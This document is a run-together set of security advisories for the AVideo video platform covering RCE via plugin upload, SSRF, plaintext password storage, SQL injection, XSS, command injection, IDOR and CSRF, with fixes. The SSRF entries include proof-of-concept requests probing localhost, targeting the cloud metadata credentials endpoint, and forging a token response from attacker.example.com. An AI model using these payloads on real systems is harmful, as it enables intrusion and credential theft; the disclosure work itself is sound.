The issue allowed an authenticated administrator to upload a specially crafted ZIP archive containing executable server-side files. Due to insufficient validation of extracted file contents, the archive was extracted directly into a web-accessible plugin directory, allowing arbitrary PHP code execution.
Vulnerability Type - Remote Code Execution (RCE) - CWE-434: Unrestricted Upload of File with Dangerous Type
Affected Versions - All versions up to and including 22.x.
Fixed Version - A fix is expected to be released in version 23.
Root Cause The system validated only the ZIP extension of uploaded plugin packages but did not enforce a strict allowlist of file types within the archive. Extracted files were placed directly in a web-accessible directory without preventing execution of server-side scripts.
Impact An authenticated administrator could execute arbitrary code on the server, resulting in full system compromise, including: - Confidentiality loss - Integrity loss - Availability impact
Remediation Upgrade immediately to AVideo version 23 or later.
Version 23 introduces improved validation and secure handling of plugin extraction.
Workarounds If upgrade is not immediately possible: - Disable plugin upload/import functionality. - Configure the web server to prevent execution of PHP files inside plugin upload directories.
Summary An unauthenticated server-side request forgery vulnerability in plugin/Live/test.php allows any remote user to make the AVideo server send HTTP requests to arbitrary URLs. This can be used to probe localhost/internal services and, when reachable, access internal HTTP resources or cloud metadata endpoints.
Details The endpoint accepts $REQUEST['statsURL'] and only checks that it starts with http:
php $statsURL = $REQUEST['statsURL']; if (empty($statsURL) || $statsURL == "php://input" || !pregmatch("/^http/", $statsURL)) { exit; }
It then calls:
php $result = urlgetcontents($statsURL, 2);
Inside the same file, urlgetcontents() performs a real outbound request with filegetcontents() when allowurlfopen is enabled:
php $tmp = filegetcontents($url, false, $context); log('filegetcontents:: '.htmlentities($tmp));
There is:
- no authentication check - no allowlist of trusted stats URLs - no SSRF-safe URL validation - reflected response/error output
Validated on source:
- test.php
PoC Target used during validation:
text http://127.0.0.1:80
1. Probe a closed localhost port:
bash curl -s \ 'http://127.0.0.1:80/plugin/Live/test.php?statsURL=http://127.0.0.1:1/'
Observed response excerpt:
text Starting try to get URL http://127.0.0.1:1/ urlgetcontents start timeout=2 Warning: filegetcontents(http://127.0.0.1:1/): Failed to open stream: Connection refused filegetcontents fail return an empty content FAIL
2. Probe the local web service itself:
bash curl -s \ 'http://127.0.0.1:80/plugin/Live/test.php?statsURL=http://127.0.0.1:80/'
This returns upstream connection details from the server-side request and confirms the endpoint can target local/internal HTTP services.
Impact This is an unauthenticated SSRF vulnerability affecting any deployment that exposes plugin/Live/test.php.
An attacker can:
- probe localhost and internal network services - distinguish open and closed ports - target cloud metadata endpoints if reachable - retrieve reflected content from internal HTTP services when the upstream responds with a body
The server and the internal network reachable from it are impacted. No unauthenticated code execution was validated from this issue on the tested environment.
remediation The safest fix is to remove plugin/Live/test.php from production deployments.
If it must remain:
- require admin authentication - only allow requests to explicitly configured Live stats URLs - block localhost, RFC1918, link-local, and metadata IP ranges - stop reflecting fetched bodies and raw upstream errors to the client
Minimal hardening example:
php requireonce dirname(FILE) . '/../../videos/configuration.php';
if (!User::isAdmin()) { httpresponsecode(403); exit('Forbidden'); }
$statsURL = $REQUEST['statsURL'] ?? ''; if (empty($statsURL) || !isSSRFSafeURL($statsURL)) { exit('Unsafe URL'); }
Remove wget Fallback Entirely
The wget fallback provides no unique value over filegetcontents + curl and introduces shell exposure. Remove lines 94–119 of test.php.
If wget must remain, escape the argument:
php // BEFORE (vulnerable) $cmd = "wget --tries=1 {$url} -O {$filename} --no-check-certificate";
// AFTER (safe) $cmd = "wget --tries=1 " . escapeshellarg($url) . " -O " . escapeshellarg($filename) . " --no-check-certificate";
Defense in Depth
1. Move the file behind the admin panel URL prefix (Apache/Nginx deny rule for public access) 2. Add isSSRFSafeURL() check (already exists in objects/functions.php) before any fetch 3. Block outbound connections from the web process to RFC1918 addresses at the firewall/egress level
WWBN AVideo is an open source video platform. In versions up to and including 29.0, an incomplete fix for AVideo's test.php adds escapeshellarg for wget but leaves the filegetcontents and curl code paths unsanitized, and the URL validation regex /^http/ accepts strings like httpevil[.]com. Commit 78bccae74634ead68aa6528d631c9ec4fd7aa536 contains an updated fix.
Summary
A Server-Side Request Forgery (SSRF) vulnerability exists in plugin/Live/standAloneFiles/saveDVR.json.php. When the AVideo Live plugin is deployed in standalone mode (the intended configuration for this file), the $REQUEST['webSiteRootURL'] parameter is used directly to construct a URL that is fetched server-side via filegetcontents(). No authentication, origin validation, or URL allowlisting is performed.
Affected Component
File: plugin/Live/standAloneFiles/saveDVR.json.php, lines 5-28
php $streamerURL = ""; // change it to your streamer URL
$configFile = '../../../videos/configuration.php'; if (fileexists($configFile)) { includeonce $configFile; $streamerURL = $global['webSiteRootURL']; }
if (empty($streamerURL) && !empty($REQUEST['webSiteRootURL'])) { $streamerURL = $REQUEST['webSiteRootURL']; // ATTACKER-CONTROLLED }
// ...
$verifyURL = "{$streamerURL}plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR={$REQUEST['saveDVR']}"; $result = filegetcontents($verifyURL); // SSRF
Root Cause
1. User-controlled URL base: When the configuration file does not exist (standalone deployment), $streamerURL is set directly from $REQUEST['webSiteRootURL'] with no validation. 2. No URL allowlisting or scheme restriction: The value is used as-is in a filegetcontents() call. There is no check for http/https scheme only, no private IP blocking, and no domain allowlist. 3. Verification bypass by design: The token verification URL is constructed using the attacker-controlled base URL. The attacker can point it to their own server, which returns a JSON response that passes all validation checks, effectively bypassing authentication.
Exploitation
Part 1: Basic SSRF (Internal Network Access)
POST /plugin/Live/standAloneFiles/saveDVR.json.php Content-Type: application/x-www-form-urlencoded
webSiteRootURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/&saveDVR=anything
The server fetches: http://169.254.169.254/latest/meta-data/iam/security-credentials/plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR=anything
While the appended path may cause a 404 on the metadata service, the attacker can also use this for: - Internal port scanning: webSiteRootURL=http://192.168.1.X:PORT/ — differentiate open/closed ports by response time and error messages. - Internal service access: webSiteRootURL=http://internal-service/ — reach services behind the firewall. - Cloud metadata access: With URL path manipulation or by hosting a redirect on the attacker server.
Part 2: Verification Bypass + Downstream Command Execution Chain
This is the more severe attack chain:
1. The attacker sets up a server at https://attacker.example.com/ with the path: /plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php That returns: json {"error": false, "response": {"key": "attackercontrolledvalue"}}
2. The attacker sends: POST /plugin/Live/standAloneFiles/saveDVR.json.php
webSiteRootURL=https://attacker.example.com/&saveDVR=anything
3. The server fetches the verification URL from the attacker's server, receives the forged valid response, and proceeds to process it.
4. The key value from the response flows into shell commands: - Line 55: $DVRFile = "{$hlspath}{$key}"; — used in exec() at line 80 (though escapeshellarg() is applied to the path components) - Line 72: $DVRFileTarget = "{$tmpDVRDir}" . DIRECTORYSEPARATOR . "{$key}.m3u8"; — used without escapeshellarg() in: - Line 119: exec("echo \"{$endLine}\" >> {$DVRFileTarget}"); - Line 157: exec("ffmpeg -i {$DVRFileTarget} -c copy -bsf:a aacadtstoasc {$filename} -y"); - Line 167: exec("rm -R {$tmpDVRDir}");
The $key is sanitized at line 47 with pregreplace("/[^0-9a-z:-]/i", "", $key), which limits characters to alphanumerics, underscores, colons, and hyphens. This blocks most command injection payloads. However: - The SSRF itself (Part 1) is independently exploitable regardless of the downstream chain. - The verification bypass grants the attacker control over the processing flow even if direct OS command injection is constrained by the regex. - The colon character (:) is allowed by the regex and has special meaning in some shell contexts and FFmpeg input specifiers.
Impact
- SSRF: The server can be used as a proxy to scan and access internal network resources, cloud metadata endpoints, and other services not intended to be publicly accessible. - Authentication Bypass: The DVR token verification is completely bypassed by redirecting the check to an attacker-controlled server. - Potential Command Execution: While the regex on $key limits direct shell injection, the attacker gains control over file paths and FFmpeg input specifiers, which could be leveraged for further exploitation depending on the environment. - Information Disclosure: Error messages at lines 31-32 reflect the fetched URL and its content, potentially leaking information about internal infrastructure.
Suggested Fix
1. Remove the user-controlled webSiteRootURL fallback entirely. Require $streamerURL to be configured in the file or via the configuration file. If a fallback is necessary, validate it against a strict allowlist:
php // Remove this block: // if (empty($streamerURL) && !empty($REQUEST['webSiteRootURL'])) { // $streamerURL = $REQUEST['webSiteRootURL']; // }
// If $streamerURL is still empty, abort: if (empty($streamerURL)) { errorlog("saveDVR: streamerURL is not configured"); die('saveDVR: Server not configured'); }
2. If the parameter must remain for backward compatibility, validate it: php if (empty($streamerURL) && !empty($REQUEST['webSiteRootURL'])) { $url = filtervar($REQUEST['webSiteRootURL'], FILTERVALIDATEURL); if ($url && pregmatch('/^https?:\/\//i', $url)) { // Resolve hostname and block private/reserved IPs $host = parseurl($url, PHPURLHOST); $ip = gethostbyname($host); if (!filtervar($ip, FILTERVALIDATEIP, FILTERFLAGNOPRIVRANGE | FILTERFLAGNORESRANGE)) { die('saveDVR: Invalid URL'); } $streamerURL = $url; } }
3. Apply escapeshellarg() to all variables used in exec() calls, including $DVRFileTarget at lines 119, 157, and $tmpDVRDir at line 167.
Summary
AVideo allows content owners to password-protect individual videos. The video password is stored in the database in plaintext — no hashing, salting, or encryption is applied. If an attacker gains read access to the database (via SQL injection, a database backup, or misconfigured access controls), they obtain all video passwords in cleartext.
Details
File: objects/video.php
Vulnerable setter: php public function setVideopassword($videopassword) { AVideoPlugin::onVideoSetVideopassword($this->id, $this->videopassword, $videopassword); $this->videopassword = trim($videopassword); }
Vulnerable getter: php public function getVideopassword() { if (empty($this->videopassword)) { return ''; } return trim($this->videopassword); }
The value assigned to $this->videopassword is only trim()-ed before being persisted to the database column videopassword in the videos table. There is no call to any hashing function (e.g., passwordhash(), sha256, or similar).
When a visitor enters a password to access a protected video, the comparison is done directly against the stored plaintext: php // Comparison at access check: if ($video->getVideopassword() === $POST['password']) { ... }
This means: 1. Any database read (SQL injection, backup leak, hosting panel access) exposes all video passwords as cleartext. 2. Video passwords are often reused by users across other services, making this a credential harvesting risk. 3. The plaintext value is also present in application memory and any query logs.
PoC
1. Set a password on any video via the AVideo admin/creator UI. 2. Query the database: SELECT cleantitle, videopassword FROM videos WHERE videopassword != ''; 3. All video passwords are returned in plaintext — no cracking required.
Alternatively, exploit any of the SQL injection vulnerabilities already reported in this repository to extract the videopassword column directly.
Impact
- Type: Cleartext Storage of Sensitive Information (CWE-312) - Severity: High - Authentication required: No — any database read access (including via SQL injection by unauthenticated users) exposes all passwords - Impact: Full exposure of all video access passwords; credential reuse attacks against users who share passwords across services - Fix: Hash video passwords on write using passwordhash($videopassword, PASSWORDBCRYPT) and verify on read using passwordverify($POST['password'], $storedhash)
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the Liveschedule::keyExists() method constructs a SQL query by interpolating a stream key directly into the query string without parameterization. This method is called as a fallback from LiveTransmition::keyExists() when the initial parameterized lookup returns no results. Although the calling function correctly uses parameterized queries for its own lookup, the fallback path to Liveschedule::keyExists() undoes this protection entirely. This vulnerability is distinct from GHSA-pvw4-p2jm-chjm, which covers SQL injection via the livescheduleid parameter in the reminder function. This finding targets the stream key lookup path used during RTMP publish authentication. As of time of publication, no patched versions are available.
A cross-site scripting (xss) vulnerability exists in the videoAddNew functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary Javascript execution. An attacker can get an authenticated user to send a crafted HTTP request to trigger this vulnerability.
WWBN AVideo is an open source video platform. In versions 29.0 and below, the cloneServer.json.php endpoint in the CloneSite plugin constructs shell commands using user-controlled input (url parameter) without proper sanitization. The input is directly concatenated into a wget command executed via exec(), allowing command injection. An attacker can inject arbitrary shell commands by breaking out of the intended URL context using shell metacharacters (e.g., ;). This leads to Remote Code Execution (RCE) on the server. Commit 473c609fc2defdea8b937b00e86ce88eba1f15bb contains a fix.
AVideo versions prior to 20.1 allow any authenticated user to upload files into directories belonging to other users due to an insecure direct object reference. The upload functionality verifies authentication but does not enforce ownership checks.
AVideo versions prior to 20.1 permit any authenticated user to upload comment images to videos owned by other users. The endpoint validates authentication but omits ownership checks, allowing attackers to perform unauthorized uploads to arbitrary video objects.
AVideo Platform 8.1 contains a cross-site request forgery vulnerability that allows attackers to reset user passwords by exploiting the password recovery mechanism. Attackers can craft malicious requests to the recoverPass endpoint using the user's recovery token to change account credentials without authentication.